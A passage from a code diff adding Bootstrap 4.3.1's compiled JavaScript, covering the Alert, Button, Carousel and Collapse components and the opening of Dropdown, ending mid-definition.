_proto._removeElement = function _removeElement(element) { + var _this = this; + + $(element).removeClass(ClassName.SHOW); + + if (!$(element).hasClass(ClassName.FADE)) { + this._destroyElement(element); + + return; + } + + var transitionDuration = Util.getTransitionDurationFromElement(element); + $(element).one(Util.TRANSITION_END, function (event) { + return _this._destroyElement(element, event); + }).emulateTransitionEnd(transitionDuration); + }; + + _proto._destroyElement = function _destroyElement(element) { + $(element).detach().trigger(Event.CLOSED).remove(); + } // Static + ; + + Alert._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var $element = $(this); + var data = $element.data(DATA_KEY); + + if (!data) { + data = new Alert(this); + $element.data(DATA_KEY, data); + } + + if (config === 'close') { + data[config](this); + } + }); + }; + + Alert._handleDismiss = function _handleDismiss(alertInstance) { + return function (event) { + if (event) { + event.preventDefault(); + } + + alertInstance.close(this); + }; + }; + + _createClass(Alert, null, [{ + key: "VERSION", + get: function get() { + return VERSION; + } + }]); + + return Alert; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $(document).on(Event.CLICK_DATA_API, Selector.DISMISS, Alert._handleDismiss(new Alert())); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $.fn[NAME] = Alert._jQueryInterface; + $.fn[NAME].Constructor = Alert; + + $.fn[NAME].noConflict = function () { + $.fn[NAME] = JQUERY_NO_CONFLICT; + return Alert._jQueryInterface; + }; + + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + + var NAME$1 = 'button'; + var VERSION$1 = '4.3.1'; + var DATA_KEY$1 = 'bs.button'; + var EVENT_KEY$1 = "." + DATA_KEY$1; + var DATA_API_KEY$1 = '.data-api'; + var JQUERY_NO_CONFLICT$1 = $.fn[NAME$1]; + var ClassName$1 = { + ACTIVE: 'active', + BUTTON: 'btn', + FOCUS: 'focus' + }; + var Selector$1 = { + DATA_TOGGLE_CARROT: '[data-toggle^="button"]', + DATA_TOGGLE: '[data-toggle="buttons"]', + INPUT: 'input:not([type="hidden"])', + ACTIVE: '.active', + BUTTON: '.btn' + }; + var Event$1 = { + CLICK_DATA_API: "click" + EVENT_KEY$1 + DATA_API_KEY$1, + FOCUS_BLUR_DATA_API: "focus" + EVENT_KEY$1 + DATA_API_KEY$1 + " " + ("blur" + EVENT_KEY$1 + DATA_API_KEY$1) + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Button = + /*#__PURE__*/ + function () { + function Button(element) { + this._element = element; + } // Getters + + + var _proto = Button.prototype; + + // Public + _proto.toggle = function toggle() { + var triggerChangeEvent = true; + var addAriaPressed = true; + var rootElement = $(this._element).closest(Selector$1.DATA_TOGGLE)[0]; + + if (rootElement) { + var input = this._element.querySelector(Selector$1.INPUT); + + if (input) { + if (input.type === 'radio') { + if (input.checked && this._element.classList.contains(ClassName$1.ACTIVE)) { + triggerChangeEvent = false; + } else { + var activeElement = rootElement.querySelector(Selector$1.ACTIVE); + + if (activeElement) { + $(activeElement).removeClass(ClassName$1.ACTIVE); + } + } + } + + if (triggerChangeEvent) { + if (input.hasAttribute('disabled') || rootElement.hasAttribute('disabled') || input.classList.contains('disabled') || rootElement.classList.contains('disabled')) { + return; + } + + input.checked = !this._element.classList.contains(ClassName$1.ACTIVE); + $(input).trigger('change'); + } + + input.focus(); + addAriaPressed = false; + } + } + + if (addAriaPressed) { + this._element.setAttribute('aria-pressed', !this._element.classList.contains(ClassName$1.ACTIVE)); + } + + if (triggerChangeEvent) { + $(this._element).toggleClass(ClassName$1.ACTIVE); + } + }; + + _proto.dispose = function dispose() { + $.removeData(this._element, DATA_KEY$1); + this._element = null; + } // Static + ; + + Button._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var data = $(this).data(DATA_KEY$1); + + if (!data) { + data = new Button(this); + $(this).data(DATA_KEY$1, data); + } + + if (config === 'toggle') { + data[config](); + } + }); + }; + + _createClass(Button, null, [{ + key: "VERSION", + get: function get() { + return VERSION$1; + } + }]); + + return Button; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $(document).on(Event$1.CLICK_DATA_API, Selector$1.DATA_TOGGLE_CARROT, function (event) { + event.preventDefault(); + var button = event.target; + + if (!$(button).hasClass(ClassName$1.BUTTON)) { + button = $(button).closest(Selector$1.BUTTON); + } + + Button._jQueryInterface.call($(button), 'toggle'); + }).on(Event$1.FOCUS_BLUR_DATA_API, Selector$1.DATA_TOGGLE_CARROT, function (event) { + var button = $(event.target).closest(Selector$1.BUTTON)[0]; + $(button).toggleClass(ClassName$1.FOCUS, /^focus(in)?$/.test(event.type)); + }); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $.fn[NAME$1] = Button._jQueryInterface; + $.fn[NAME$1].Constructor = Button; + + $.fn[NAME$1].noConflict = function () { + $.fn[NAME$1] = JQUERY_NO_CONFLICT$1; + return Button._jQueryInterface; + }; + + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + + var NAME$2 = 'carousel'; + var VERSION$2 = '4.3.1'; + var DATA_KEY$2 = 'bs.carousel'; + var EVENT_KEY$2 = "." + DATA_KEY$2; + var DATA_API_KEY$2 = '.data-api'; + var JQUERY_NO_CONFLICT$2 = $.fn[NAME$2]; + var ARROW_LEFT_KEYCODE = 37; // KeyboardEvent.which value for left arrow key + + var ARROW_RIGHT_KEYCODE = 39; // KeyboardEvent.which value for right arrow key + + var TOUCHEVENT_COMPAT_WAIT = 500; // Time for mouse compat events to fire after touch + + var SWIPE_THRESHOLD = 40; + var Default = { + interval: 5000, + keyboard: true, + slide: false, + pause: 'hover', + wrap: true, + touch: true + }; + var DefaultType = { + interval: '(number|boolean)', + keyboard: 'boolean', + slide: '(boolean|string)', + pause: '(string|boolean)', + wrap: 'boolean', + touch: 'boolean' + }; + var Direction = { + NEXT: 'next', + PREV: 'prev', + LEFT: 'left', + RIGHT: 'right' + }; + var Event$2 = { + SLIDE: "slide" + EVENT_KEY$2, + SLID: "slid" + EVENT_KEY$2, + KEYDOWN: "keydown" + EVENT_KEY$2, + MOUSEENTER: "mouseenter" + EVENT_KEY$2, + MOUSELEAVE: "mouseleave" + EVENT_KEY$2, + TOUCHSTART: "touchstart" + EVENT_KEY$2, + TOUCHMOVE: "touchmove" + EVENT_KEY$2, + TOUCHEND: "touchend" + EVENT_KEY$2, + POINTERDOWN: "pointerdown" + EVENT_KEY$2, + POINTERUP: "pointerup" + EVENT_KEY$2, + DRAG_START: "dragstart" + EVENT_KEY$2, + LOAD_DATA_API: "load" + EVENT_KEY$2 + DATA_API_KEY$2, + CLICK_DATA_API: "click" + EVENT_KEY$2 + DATA_API_KEY$2 + }; + var ClassName$2 = { + CAROUSEL: 'carousel', + ACTIVE: 'active', + SLIDE: 'slide', + RIGHT: 'carousel-item-right', + LEFT: 'carousel-item-left', + NEXT: 'carousel-item-next', + PREV: 'carousel-item-prev', + ITEM: 'carousel-item', + POINTER_EVENT: 'pointer-event' + }; + var Selector$2 = { + ACTIVE: '.active', + ACTIVE_ITEM: '.active.carousel-item', + ITEM: '.carousel-item', + ITEM_IMG: '.carousel-item img', + NEXT_PREV: '.carousel-item-next, .carousel-item-prev', + INDICATORS: '.carousel-indicators', + DATA_SLIDE: '[data-slide], [data-slide-to]', + DATA_RIDE: '[data-ride="carousel"]' + }; + var PointerType = { + TOUCH: 'touch', + PEN: 'pen' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Carousel = + /*#__PURE__*/ + function () { + function Carousel(element, config) { + this._items = null; + this._interval = null; + this._activeElement = null; + this._isPaused = false; + this._isSliding = false; + this.touchTimeout = null; + this.touchStartX = 0; + this.touchDeltaX = 0; + this._config = this._getConfig(config); + this._element = element; + this._indicatorsElement = this._element.querySelector(Selector$2.INDICATORS); + this._touchSupported = 'ontouchstart' in document.documentElement || navigator.maxTouchPoints > 0; + this._pointerEvent = Boolean(window.PointerEvent || window.MSPointerEvent); + + this._addEventListeners(); + } // Getters + + + var _proto = Carousel.prototype; + + // Public + _proto.next = function next() { + if (!this._isSliding) { + this._slide(Direction.NEXT); + } + }; + + _proto.nextWhenVisible = function nextWhenVisible() { + // Don't call next when the page isn't visible + // or the carousel or its parent isn't visible + if (!document.hidden && $(this._element).is(':visible') && $(this._element).css('visibility') !== 'hidden') { + this.next(); + } + }; + + _proto.prev = function prev() { + if (!this._isSliding) { + this._slide(Direction.PREV); + } + }; + + _proto.pause = function pause(event) { + if (!event) { + this._isPaused = true; + } + + if (this._element.querySelector(Selector$2.NEXT_PREV)) { + Util.triggerTransitionEnd(this._element); + this.cycle(true); + } + + clearInterval(this._interval); + this._interval = null; + }; + + _proto.cycle = function cycle(event) { + if (!event) { + this._isPaused = false; + } + + if (this._interval) { + clearInterval(this._interval); + this._interval = null; + } + + if (this._config.interval && !this._isPaused) { + this._interval = setInterval((document.visibilityState ? this.nextWhenVisible : this.next).bind(this), this._config.interval); + } + }; + + _proto.to = function to(index) { + var _this = this; + + this._activeElement = this._element.querySelector(Selector$2.ACTIVE_ITEM); + + var activeIndex = this._getItemIndex(this._activeElement); + + if (index > this._items.length - 1 || index < 0) { + return; + } + + if (this._isSliding) { + $(this._element).one(Event$2.SLID, function () { + return _this.to(index); + }); + return; + } + + if (activeIndex === index) { + this.pause(); + this.cycle(); + return; + } + + var direction = index > activeIndex ? Direction.NEXT : Direction.PREV; + + this._slide(direction, this._items[index]); + }; + + _proto.dispose = function dispose() { + $(this._element).off(EVENT_KEY$2); + $.removeData(this._element, DATA_KEY$2); + this._items = null; + this._config = null; + this._element = null; + this._interval = null; + this._isPaused = null; + this._isSliding = null; + this._activeElement = null; + this._indicatorsElement = null; + } // Private + ; + + _proto._getConfig = function _getConfig(config) { + config = _objectSpread({}, Default, config); + Util.typeCheckConfig(NAME$2, config, DefaultType); + return config; + }; + + _proto._handleSwipe = function _handleSwipe() { + var absDeltax = Math.abs(this.touchDeltaX); + + if (absDeltax <= SWIPE_THRESHOLD) { + return; + } + + var direction = absDeltax / this.touchDeltaX; // swipe left + + if (direction > 0) { + this.prev(); + } // swipe right + + + if (direction < 0) { + this.next(); + } + }; + + _proto._addEventListeners = function _addEventListeners() { + var _this2 = this; + + if (this._config.keyboard) { + $(this._element).on(Event$2.KEYDOWN, function (event) { + return _this2._keydown(event); + }); + } + + if (this._config.pause === 'hover') { + $(this._element).on(Event$2.MOUSEENTER, function (event) { + return _this2.pause(event); + }).on(Event$2.MOUSELEAVE, function (event) { + return _this2.cycle(event); + }); + } + + if (this._config.touch) { + this._addTouchEventListeners(); + } + }; + + _proto._addTouchEventListeners = function _addTouchEventListeners() { + var _this3 = this; + + if (!this._touchSupported) { + return; + } + + var start = function start(event) { + if (_this3._pointerEvent && PointerType[event.originalEvent.pointerType.toUpperCase()]) { + _this3.touchStartX = event.originalEvent.clientX; + } else if (!_this3._pointerEvent) { + _this3.touchStartX = event.originalEvent.touches[0].clientX; + } + }; + + var move = function move(event) { + // ensure swiping with one touch and not pinching + if (event.originalEvent.touches && event.originalEvent.touches.length > 1) { + _this3.touchDeltaX = 0; + } else { + _this3.touchDeltaX = event.originalEvent.touches[0].clientX - _this3.touchStartX; + } + }; + + var end = function end(event) { + if (_this3._pointerEvent && PointerType[event.originalEvent.pointerType.toUpperCase()]) { + _this3.touchDeltaX = event.originalEvent.clientX - _this3.touchStartX; + } + + _this3._handleSwipe(); + + if (_this3._config.pause === 'hover') { + // If it's a touch-enabled device, mouseenter/leave are fired as + // part of the mouse compatibility events on first tap - the carousel + // would stop cycling until user tapped out of it; + // here, we listen for touchend, explicitly pause the carousel + // (as if it's the second time we tap on it, mouseenter compat event + // is NOT fired) and after a timeout (to allow for mouse compatibility + // events to fire) we explicitly restart cycling + _this3.pause(); + + if (_this3.touchTimeout) { + clearTimeout(_this3.touchTimeout); + } + + _this3.touchTimeout = setTimeout(function (event) { + return _this3.cycle(event); + }, TOUCHEVENT_COMPAT_WAIT + _this3._config.interval); + } + }; + + $(this._element.querySelectorAll(Selector$2.ITEM_IMG)).on(Event$2.DRAG_START, function (e) { + return e.preventDefault(); + }); + + if (this._pointerEvent) { + $(this._element).on(Event$2.POINTERDOWN, function (event) { + return start(event); + }); + $(this._element).on(Event$2.POINTERUP, function (event) { + return end(event); + }); + + this._element.classList.add(ClassName$2.POINTER_EVENT); + } else { + $(this._element).on(Event$2.TOUCHSTART, function (event) { + return start(event); + }); + $(this._element).on(Event$2.TOUCHMOVE, function (event) { + return move(event); + }); + $(this._element).on(Event$2.TOUCHEND, function (event) { + return end(event); + }); + } + }; + + _proto._keydown = function _keydown(event) { + if (/input|textarea/i.test(event.target.tagName)) { + return; + } + + switch (event.which) { + case ARROW_LEFT_KEYCODE: + event.preventDefault(); + this.prev(); + break; + + case ARROW_RIGHT_KEYCODE: + event.preventDefault(); + this.next(); + break; + + default: + } + }; + + _proto._getItemIndex = function _getItemIndex(element) { + this._items = element && element.parentNode ? [].slice.call(element.parentNode.querySelectorAll(Selector$2.ITEM)) : []; + return this._items.indexOf(element); + }; + + _proto._getItemByDirection = function _getItemByDirection(direction, activeElement) { + var isNextDirection = direction === Direction.NEXT; + var isPrevDirection = direction === Direction.PREV; + + var activeIndex = this._getItemIndex(activeElement); + + var lastItemIndex = this._items.length - 1; + var isGoingToWrap = isPrevDirection && activeIndex === 0 || isNextDirection && activeIndex === lastItemIndex; + + if (isGoingToWrap && !this._config.wrap) { + return activeElement; + } + + var delta = direction === Direction.PREV ? -1 : 1; + var itemIndex = (activeIndex + delta) % this._items.length; + return itemIndex === -1 ? this._items[this._items.length - 1] : this._items[itemIndex]; + }; + + _proto._triggerSlideEvent = function _triggerSlideEvent(relatedTarget, eventDirectionName) { + var targetIndex = this._getItemIndex(relatedTarget); + + var fromIndex = this._getItemIndex(this._element.querySelector(Selector$2.ACTIVE_ITEM)); + + var slideEvent = $.Event(Event$2.SLIDE, { + relatedTarget: relatedTarget, + direction: eventDirectionName, + from: fromIndex, + to: targetIndex + }); + $(this._element).trigger(slideEvent); + return slideEvent; + }; + + _proto._setActiveIndicatorElement = function _setActiveIndicatorElement(element) { + if (this._indicatorsElement) { + var indicators = [].slice.call(this._indicatorsElement.querySelectorAll(Selector$2.ACTIVE)); + $(indicators).removeClass(ClassName$2.ACTIVE); + + var nextIndicator = this._indicatorsElement.children[this._getItemIndex(element)]; + + if (nextIndicator) { + $(nextIndicator).addClass(ClassName$2.ACTIVE); + } + } + }; + + _proto._slide = function _slide(direction, element) { + var _this4 = this; + + var activeElement = this._element.querySelector(Selector$2.ACTIVE_ITEM); + + var activeElementIndex = this._getItemIndex(activeElement); + + var nextElement = element || activeElement && this._getItemByDirection(direction, activeElement); + + var nextElementIndex = this._getItemIndex(nextElement); + + var isCycling = Boolean(this._interval); + var directionalClassName; + var orderClassName; + var eventDirectionName; + + if (direction === Direction.NEXT) { + directionalClassName = ClassName$2.LEFT; + orderClassName = ClassName$2.NEXT; + eventDirectionName = Direction.LEFT; + } else { + directionalClassName = ClassName$2.RIGHT; + orderClassName = ClassName$2.PREV; + eventDirectionName = Direction.RIGHT; + } + + if (nextElement && $(nextElement).hasClass(ClassName$2.ACTIVE)) { + this._isSliding = false; + return; + } + + var slideEvent = this._triggerSlideEvent(nextElement, eventDirectionName); + + if (slideEvent.isDefaultPrevented()) { + return; + } + + if (!activeElement || !nextElement) { + // Some weirdness is happening, so we bail + return; + } + + this._isSliding = true; + + if (isCycling) { + this.pause(); + } + + this._setActiveIndicatorElement(nextElement); + + var slidEvent = $.Event(Event$2.SLID, { + relatedTarget: nextElement, + direction: eventDirectionName, + from: activeElementIndex, + to: nextElementIndex + }); + + if ($(this._element).hasClass(ClassName$2.SLIDE)) { + $(nextElement).addClass(orderClassName); + Util.reflow(nextElement); + $(activeElement).addClass(directionalClassName); + $(nextElement).addClass(directionalClassName); + var nextElementInterval = parseInt(nextElement.getAttribute('data-interval'), 10); + + if (nextElementInterval) { + this._config.defaultInterval = this._config.defaultInterval || this._config.interval; + this._config.interval = nextElementInterval; + } else { + this._config.interval = this._config.defaultInterval || this._config.interval; + } + + var transitionDuration = Util.getTransitionDurationFromElement(activeElement); + $(activeElement).one(Util.TRANSITION_END, function () { + $(nextElement).removeClass(directionalClassName + " " + orderClassName).addClass(ClassName$2.ACTIVE); + $(activeElement).removeClass(ClassName$2.ACTIVE + " " + orderClassName + " " + directionalClassName); + _this4._isSliding = false; + setTimeout(function () { + return $(_this4._element).trigger(slidEvent); + }, 0); + }).emulateTransitionEnd(transitionDuration); + } else { + $(activeElement).removeClass(ClassName$2.ACTIVE); + $(nextElement).addClass(ClassName$2.ACTIVE); + this._isSliding = false; + $(this._element).trigger(slidEvent); + } + + if (isCycling) { + this.cycle(); + } + } // Static + ; + + Carousel._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var data = $(this).data(DATA_KEY$2); + + var _config = _objectSpread({}, Default, $(this).data()); + + if (typeof config === 'object') { + _config = _objectSpread({}, _config, config); + } + + var action = typeof config === 'string' ? config : _config.slide; + + if (!data) { + data = new Carousel(this, _config); + $(this).data(DATA_KEY$2, data); + } + + if (typeof config === 'number') { + data.to(config); + } else if (typeof action === 'string') { + if (typeof data[action] === 'undefined') { + throw new TypeError("No method named \"" + action + "\""); + } + + data[action](); + } else if (_config.interval && _config.ride) { + data.pause(); + data.cycle(); + } + }); + }; + + Carousel._dataApiClickHandler = function _dataApiClickHandler(event) { + var selector = Util.getSelectorFromElement(this); + + if (!selector) { + return; + } + + var target = $(selector)[0]; + + if (!target || !$(target).hasClass(ClassName$2.CAROUSEL)) { + return; + } + + var config = _objectSpread({}, $(target).data(), $(this).data()); + + var slideIndex = this.getAttribute('data-slide-to'); + + if (slideIndex) { + config.interval = false; + } + + Carousel._jQueryInterface.call($(target), config); + + if (slideIndex) { + $(target).data(DATA_KEY$2).to(slideIndex); + } + + event.preventDefault(); + }; + + _createClass(Carousel, null, [{ + key: "VERSION", + get: function get() { + return VERSION$2; + } + }, { + key: "Default", + get: function get() { + return Default; + } + }]); + + return Carousel; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $(document).on(Event$2.CLICK_DATA_API, Selector$2.DATA_SLIDE, Carousel._dataApiClickHandler); + $(window).on(Event$2.LOAD_DATA_API, function () { + var carousels = [].slice.call(document.querySelectorAll(Selector$2.DATA_RIDE)); + + for (var i = 0, len = carousels.length; i < len; i++) { + var $carousel = $(carousels[i]); + + Carousel._jQueryInterface.call($carousel, $carousel.data()); + } + }); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $.fn[NAME$2] = Carousel._jQueryInterface; + $.fn[NAME$2].Constructor = Carousel; + + $.fn[NAME$2].noConflict = function () { + $.fn[NAME$2] = JQUERY_NO_CONFLICT$2; + return Carousel._jQueryInterface; + }; + + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + + var NAME$3 = 'collapse'; + var VERSION$3 = '4.3.1'; + var DATA_KEY$3 = 'bs.collapse'; + var EVENT_KEY$3 = "." + DATA_KEY$3; + var DATA_API_KEY$3 = '.data-api'; + var JQUERY_NO_CONFLICT$3 = $.fn[NAME$3]; + var Default$1 = { + toggle: true, + parent: '' + }; + var DefaultType$1 = { + toggle: 'boolean', + parent: '(string|element)' + }; + var Event$3 = { + SHOW: "show" + EVENT_KEY$3, + SHOWN: "shown" + EVENT_KEY$3, + HIDE: "hide" + EVENT_KEY$3, + HIDDEN: "hidden" + EVENT_KEY$3, + CLICK_DATA_API: "click" + EVENT_KEY$3 + DATA_API_KEY$3 + }; + var ClassName$3 = { + SHOW: 'show', + COLLAPSE: 'collapse', + COLLAPSING: 'collapsing', + COLLAPSED: 'collapsed' + }; + var Dimension = { + WIDTH: 'width', + HEIGHT: 'height' + }; + var Selector$3 = { + ACTIVES: '.show, .collapsing', + DATA_TOGGLE: '[data-toggle="collapse"]' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Collapse = + /*#__PURE__*/ + function () { + function Collapse(element, config) { + this._isTransitioning = false; + this._element = element; + this._config = this._getConfig(config); + this._triggerArray = [].slice.call(document.querySelectorAll("[data-toggle=\"collapse\"][href=\"#" + element.id + "\"]," + ("[data-toggle=\"collapse\"][data-target=\"#" + element.id + "\"]"))); + var toggleList = [].slice.call(document.querySelectorAll(Selector$3.DATA_TOGGLE)); + + for (var i = 0, len = toggleList.length; i < len; i++) { + var elem = toggleList[i]; + var selector = Util.getSelectorFromElement(elem); + var filterElement = [].slice.call(document.querySelectorAll(selector)).filter(function (foundElem) { + return foundElem === element; + }); + + if (selector !== null && filterElement.length > 0) { + this._selector = selector; + + this._triggerArray.push(elem); + } + } + + this._parent = this._config.parent ? this._getParent() : null; + + if (!this._config.parent) { + this._addAriaAndCollapsedClass(this._element, this._triggerArray); + } + + if (this._config.toggle) { + this.toggle(); + } + } // Getters + + + var _proto = Collapse.prototype; + + // Public + _proto.toggle = function toggle() { + if ($(this._element).hasClass(ClassName$3.SHOW)) { + this.hide(); + } else { + this.show(); + } + }; + + _proto.show = function show() { + var _this = this; + + if (this._isTransitioning || $(this._element).hasClass(ClassName$3.SHOW)) { + return; + } + + var actives; + var activesData; + + if (this._parent) { + actives = [].slice.call(this._parent.querySelectorAll(Selector$3.ACTIVES)).filter(function (elem) { + if (typeof _this._config.parent === 'string') { + return elem.getAttribute('data-parent') === _this._config.parent; + } + + return elem.classList.contains(ClassName$3.COLLAPSE); + }); + + if (actives.length === 0) { + actives = null; + } + } + + if (actives) { + activesData = $(actives).not(this._selector).data(DATA_KEY$3); + + if (activesData && activesData._isTransitioning) { + return; + } + } + + var startEvent = $.Event(Event$3.SHOW); + $(this._element).trigger(startEvent); + + if (startEvent.isDefaultPrevented()) { + return; + } + + if (actives) { + Collapse._jQueryInterface.call($(actives).not(this._selector), 'hide'); + + if (!activesData) { + $(actives).data(DATA_KEY$3, null); + } + } + + var dimension = this._getDimension(); + + $(this._element).removeClass(ClassName$3.COLLAPSE).addClass(ClassName$3.COLLAPSING); + this._element.style[dimension] = 0; + + if (this._triggerArray.length) { + $(this._triggerArray).removeClass(ClassName$3.COLLAPSED).attr('aria-expanded', true); + } + + this.setTransitioning(true); + + var complete = function complete() { + $(_this._element).removeClass(ClassName$3.COLLAPSING).addClass(ClassName$3.COLLAPSE).addClass(ClassName$3.SHOW); + _this._element.style[dimension] = ''; + + _this.setTransitioning(false); + + $(_this._element).trigger(Event$3.SHOWN); + }; + + var capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1); + var scrollSize = "scroll" + capitalizedDimension; + var transitionDuration = Util.getTransitionDurationFromElement(this._element); + $(this._element).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration); + this._element.style[dimension] = this._element[scrollSize] + "px"; + }; + + _proto.hide = function hide() { + var _this2 = this; + + if (this._isTransitioning || !$(this._element).hasClass(ClassName$3.SHOW)) { + return; + } + + var startEvent = $.Event(Event$3.HIDE); + $(this._element).trigger(startEvent); + + if (startEvent.isDefaultPrevented()) { + return; + } + + var dimension = this._getDimension(); + + this._element.style[dimension] = this._element.getBoundingClientRect()[dimension] + "px"; + Util.reflow(this._element); + $(this._element).addClass(ClassName$3.COLLAPSING).removeClass(ClassName$3.COLLAPSE).removeClass(ClassName$3.SHOW); + var triggerArrayLength = this._triggerArray.length; + + if (triggerArrayLength > 0) { + for (var i = 0; i < triggerArrayLength; i++) { + var trigger = this._triggerArray[i]; + var selector = Util.getSelectorFromElement(trigger); + + if (selector !== null) { + var $elem = $([].slice.call(document.querySelectorAll(selector))); + + if (!$elem.hasClass(ClassName$3.SHOW)) { + $(trigger).addClass(ClassName$3.COLLAPSED).attr('aria-expanded', false); + } + } + } + } + + this.setTransitioning(true); + + var complete = function complete() { + _this2.setTransitioning(false); + + $(_this2._element).removeClass(ClassName$3.COLLAPSING).addClass(ClassName$3.COLLAPSE).trigger(Event$3.HIDDEN); + }; + + this._element.style[dimension] = ''; + var transitionDuration = Util.getTransitionDurationFromElement(this._element); + $(this._element).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration); + }; + + _proto.setTransitioning = function setTransitioning(isTransitioning) { + this._isTransitioning = isTransitioning; + }; + + _proto.dispose = function dispose() { + $.removeData(this._element, DATA_KEY$3); + this._config = null; + this._parent = null; + this._element = null; + this._triggerArray = null; + this._isTransitioning = null; + } // Private + ; + + _proto._getConfig = function _getConfig(config) { + config = _objectSpread({}, Default$1, config); + config.toggle = Boolean(config.toggle); // Coerce string values + + Util.typeCheckConfig(NAME$3, config, DefaultType$1); + return config; + }; + + _proto._getDimension = function _getDimension() { + var hasWidth = $(this._element).hasClass(Dimension.WIDTH); + return hasWidth ? Dimension.WIDTH : Dimension.HEIGHT; + }; + + _proto._getParent = function _getParent() { + var _this3 = this; + + var parent; + + if (Util.isElement(this._config.parent)) { + parent = this._config.parent; // It's a jQuery object + + if (typeof this._config.parent.jquery !== 'undefined') { + parent = this._config.parent[0]; + } + } else { + parent = document.querySelector(this._config.parent); + } + + var selector = "[data-toggle=\"collapse\"][data-parent=\"" + this._config.parent + "\"]"; + var children = [].slice.call(parent.querySelectorAll(selector)); + $(children).each(function (i, element) { + _this3._addAriaAndCollapsedClass(Collapse._getTargetFromElement(element), [element]); + }); + return parent; + }; + + _proto._addAriaAndCollapsedClass = function _addAriaAndCollapsedClass(element, triggerArray) { + var isOpen = $(element).hasClass(ClassName$3.SHOW); + + if (triggerArray.length) { + $(triggerArray).toggleClass(ClassName$3.COLLAPSED, !isOpen).attr('aria-expanded', isOpen); + } + } // Static + ; + + Collapse._getTargetFromElement = function _getTargetFromElement(element) { + var selector = Util.getSelectorFromElement(element); + return selector ? document.querySelector(selector) : null; + }; + + Collapse._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var $this = $(this); + var data = $this.data(DATA_KEY$3); + + var _config = _objectSpread({}, Default$1, $this.data(), typeof config === 'object' && config ? config : {}); + + if (!data && _config.toggle && /show|hide/.test(config)) { + _config.toggle = false; + } + + if (!data) { + data = new Collapse(this, _config); + $this.data(DATA_KEY$3, data); + } + + if (typeof config === 'string') { + if (typeof data[config] === 'undefined') { + throw new TypeError("No method named \"" + config + "\""); + } + + data[config](); + } + }); + }; + + _createClass(Collapse, null, [{ + key: "VERSION", + get: function get() { + return VERSION$3; + } + }, { + key: "Default", + get: function get() { + return Default$1; + } + }]); + + return Collapse; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $(document).on(Event$3.CLICK_DATA_API, Selector$3.DATA_TOGGLE, function (event) { + // preventDefault only for elements (which change the URL) not inside the collapsible element + if (event.currentTarget.tagName === 'A') { + event.preventDefault(); + } + + var $trigger = $(this); + var selector = Util.getSelectorFromElement(this); + var selectors = [].slice.call(document.querySelectorAll(selector)); + $(selectors).each(function () { + var $target = $(this); + var data = $target.data(DATA_KEY$3); + var config = data ? 'toggle' : $trigger.data(); + + Collapse._jQueryInterface.call($target, config); + }); + }); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $.fn[NAME$3] = Collapse._jQueryInterface; + $.fn[NAME$3].Constructor = Collapse; + + $.fn[NAME$3].noConflict = function () { + $.fn[NAME$3] = JQUERY_NO_CONFLICT$3; + return Collapse._jQueryInterface; + }; + + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + + var NAME$4 = 'dropdown'; + var VERSION$4 = '4.3.1'; + var DATA_KEY$4 = 'bs.dropdown'; + var EVENT_KEY$4 = "." + DATA_KEY$4; + var DATA_API_KEY$4 = '.data-api'; + var JQUERY_NO_CONFLICT$4 = $.fn[NAME$4]; + var ESCAPE_KEYCODE = 27; // KeyboardEvent.which value for Escape (Esc) key + + var SPACE_KEYCODE = 32; // KeyboardEvent.which value for space key + + var TAB_KEYCODE = 9; // KeyboardEvent.which value for tab key + + var ARROW_UP_KEYCODE = 38; // KeyboardEvent.which value for up arrow key + + var ARROW_DOWN_KEYCODE = 40; // KeyboardEvent.which value for down arrow key + + var RIGHT_MOUSE_BUTTON_WHICH = 3; // MouseEvent.which value for the right button (assuming a right-handed mouse) + + var REGEXP_KEYDOWN = new RegExp(ARROW_UP_KEYCODE + "|" + ARROW_DOWN_KEYCODE + "|" + ESCAPE_KEYCODE); + var Event$4 = { + HIDE: "hide" + EVENT_KEY$4, + HIDDEN: "hidden" + EVENT_KEY$4, + SHOW: "show" + EVENT_KEY$4, + SHOWN: "shown" + EVENT_KEY$4, + CLICK: "click" + EVENT_KEY$4, + CLICK_DATA_API: "click" + EVENT_KEY$4 + DATA_API_KEY$4, + KEYDOWN_DATA_API: "keydown" + EVENT_KEY$4 + DATA_API_KEY$4, + KEYUP_DATA_API: "keyup" + EVENT_KEY$4 + DATA_API_KEY$4 + }; + var ClassName$4 = { + DISABLED: 'disabled', + SHOW: 'show', + DROPUP: 'dropup', + DROPRIGHT: 'dropright', + DROPLEFT: 'dropleft', + MENURIGHT: 'dropdown-menu-right', + MENULEFT: 'dropdown-menu-left', + POSITION_STATIC: 'position-static' + }; + var Selector$4 = { + DATA_TOGGLE: '[data-toggle="dropdown"]', + FORM_CHILD: '.dropdown form', + MENU: '.dropdown-menu', + NAVBAR_NAV: '.navbar-nav', + VISIBLE_ITEMS: '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)' + }; + var AttachmentMap = { + TOP: 'top-start', + TOPEND: 